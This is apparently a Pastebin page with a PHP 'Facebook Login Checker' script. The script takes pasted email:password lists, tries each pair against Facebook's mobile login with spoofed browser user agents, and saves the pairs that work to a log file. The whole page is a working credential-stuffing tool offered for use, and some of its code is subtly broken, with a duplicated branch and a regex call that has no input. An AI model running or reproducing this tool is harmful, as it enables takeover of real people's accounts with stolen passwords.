Advertisement
Kachang404

Facebook Checker

Oct 25th, 2018
1,141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.14 KB | None | 0 0
  1. <html>
  2. <head><title>Facebook Login Checker </title>
  3. <style type="text/css">
  4. body{
  5.    background-color: #000;
  6.    font-family: courier new;
  7.    font-size:11px;
  8.    color:#FFFFFF;
  9.    scrollbar-face-color: #FFFFFF;
  10.    scrollbar-highlight-color: #000000;
  11.    scrollbar-shadow-color: #000000;
  12.    scrollbar-3dlight-color: #FFFFFF;
  13.    scrollbar-arrow-color: #FFFFFF;
  14.    scrollbar-track-color: #FFFFFF;
  15.    scrollbar-darkshadow-color: #FFFFFF;
  16. }
  17. input,textarea{
  18.    font-family: courier new;
  19.    font-size:20px;
  20.    color:#00FF00;
  21.    background-color: #000000;
  22.    border:1px solid #00FF00;
  23. }
  24. </style>
  25. </head>
  26. <body>
  27. <center>
  28. <h2>Facebook Login Checker By Viole403</h2><br>
  29. <img src="http://img15.hostingpics.net/pics/119807Sanstitre.png">
  30. <form name="" method="post">
  31. <textarea name="logins" class="input" cols="50"  rows="10"></textarea><br><h4>Copyright &copy;  2018 by ./Kachang</h4><br>
  32. <input type="submit" value="Check!">
  33. </form>
  34. <?php
  35. error_reporting(0);
  36. set_time_limit(0);
  37. if(isset($_POST['logins'])){
  38.    $logins = trim($_POST['logins']);
  39.    flush(); ob_flush();
  40.    $logins = split("\n", $logins);
  41.    $jum =  count($logins);
  42.    flush(); ob_flush();
  43.    print "<hr><b>Checking ".$jum." Facebook logins now...<br>Please wait...</b><br>";
  44.    flush(); ob_flush();
  45.    for($x = 0; $x < $jum; $x++) {
  46.       $logins = str_replace(" ", "", $logins);
  47.       $logins = str_replace("\r", "", $logins);
  48.       $logins = str_replace("\n", "", $logins);
  49.       list($email, $password) = split(":", $logins[$x]);
  50.       $num = $x + 1;
  51.       print "<br>[".$num."] ".$email.":".$password." - ";
  52.       flush(); ob_flush();
  53.       if(file_exists("fb.txt")) {
  54.          unlink("fb.txt");
  55.       }
  56.       $cek = CekLogin($email, $password);
  57.       print $cek;
  58.    }
  59.    print "<hr><b>Done!</b>";
  60.    
  61. }
  62. function CekLogin($email,$passw) {
  63.    $uas = array(1 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.16 Flock/2.5.6",
  64.             2 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  65.             3 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6",
  66.             4 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",
  67.             5 => "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)");
  68.    $ua = rand(1, count($uas));
  69.    $ua = $uas[$ua];
  70.    $ch = curl_init();
  71.    curl_setopt($ch, CURLOPT_URL, "http://m.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2F&refid=8
  72. ");
  73.    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  74.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  75.    curl_setopt($ch, CURLOPT_ENCODING, "");
  76.    curl_setopt($ch, CURLOPT_COOKIEJAR, "fb.txt");
  77.    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
  78.    $chEx = curl_exec($ch);
  79.       curl_close($ch);
  80.       $chr = substr($chEx, strpos($chEx, "name=\"charset_test\""));
  81.       $chr = substr($chr, strpos($chr, "value=") + 7);
  82.       $chr = substr($chr, 0, strpos($chr, "\""));
  83.       $form = substr($chEx, strpos($chEx, "name=\"post_form_id\""));
  84.       $form = substr($form, strpos($form, "value=") + 7);
  85.       $form = substr($form, 0, strpos($form, "\""));
  86.       $ch = curl_init();
  87.       curl_setopt($ch, CURLOPT_URL, "http://m.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2Fhome.php&fbb=rb99b9fa7&refid=8");
  88.       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  89.       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  90.       curl_setopt($ch, CURLOPT_POST, 1);
  91.       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  92.       curl_setopt($ch, CURLOPT_POSTFIELDS, "lsd=&post_form_id=$form&charset_test=$chr&email=$email&pass=$passw&login=Log+In");
  93.       curl_setopt($ch, CURLOPT_ENCODING, "");
  94.       curl_setopt($ch, CURLOPT_COOKIEFILE, "fb.txt");
  95.       curl_setopt($ch, CURLOPT_COOKIEJAR, "fb.txt");
  96.       curl_setopt($ch, CURLOPT_USERAGENT, $ua);
  97.       $chEx = curl_exec($ch);
  98.       curl_close($ch);
  99.       if(preg_match("/Home/", $chEx)) {
  100.              print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
  101.          $file = fopen("facebook_log.txt","a+");
  102.          fwrite($file,$email.":".$passw."\n");
  103.          fclose($file);
  104.       } elseif(preg_match("/Home/", $chEx)) {
  105.              print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
  106.          $file = fopen("facebook_log.txt","a+");
  107.          fwrite($file,$email.":".$passw."\n");
  108.          fclose($file);
  109.      } elseif(preg_match("/The following people want to be your friend on Facebook/")) {
  110.          print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
  111.          $file = fopen("facebook_log.txt","a+");
  112.          fwrite($file,$email.":".$passw."\n");
  113.          fclose($file);
  114.       } elseif(preg_match("/Sorry, something went wrong./", $chEx)) {
  115.          print "<font color='#ff0000'>Facebook Error!!</font>";
  116.          $file = fopen("facebook_log.txt","a+");
  117.          fwrite($file,$email.":".$passw."\n");
  118.          fclose($file);
  119.       } elseif(preg_match("/Sorry, your account is temporarily unavailable./", $chEx)) {
  120.          print "Logged in. but this account is temporarily unavailable.";
  121.          $file = fopen("facebook_log.txt","a+");
  122.          fwrite($file,$email.":".$passw."\n");
  123.          fclose($file);
  124.       } elseif(preg_match("/Incorrect email\/password combination./", $chEx)) {
  125.          print "<font color='#ff0000'>Incorrect email/password combination.</font>";
  126.       } elseif(preg_match("/since this location is very unusual for you/", $chEx)) {
  127.          print "Logged in. but it need verification for your location through email.";
  128.          $file = fopen("facebook_log.txt","a+");
  129.          fwrite($file,$email.":".$passw."\n");
  130.          fclose($file);
  131.       } elseif(preg_match("/Your account has been disabled/",$chEx)) {
  132.          print "Account Disabled";
  133.       } else {
  134.          print "ERROR , please check it manually!";
  135.          $file = fopen("facebook_log.txt","a+");
  136.          fwrite($file,$email.":".$passw."\n");
  137.          fclose($file);
  138.       }
  139. }
  140. ?>
  141. </center>
  142. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement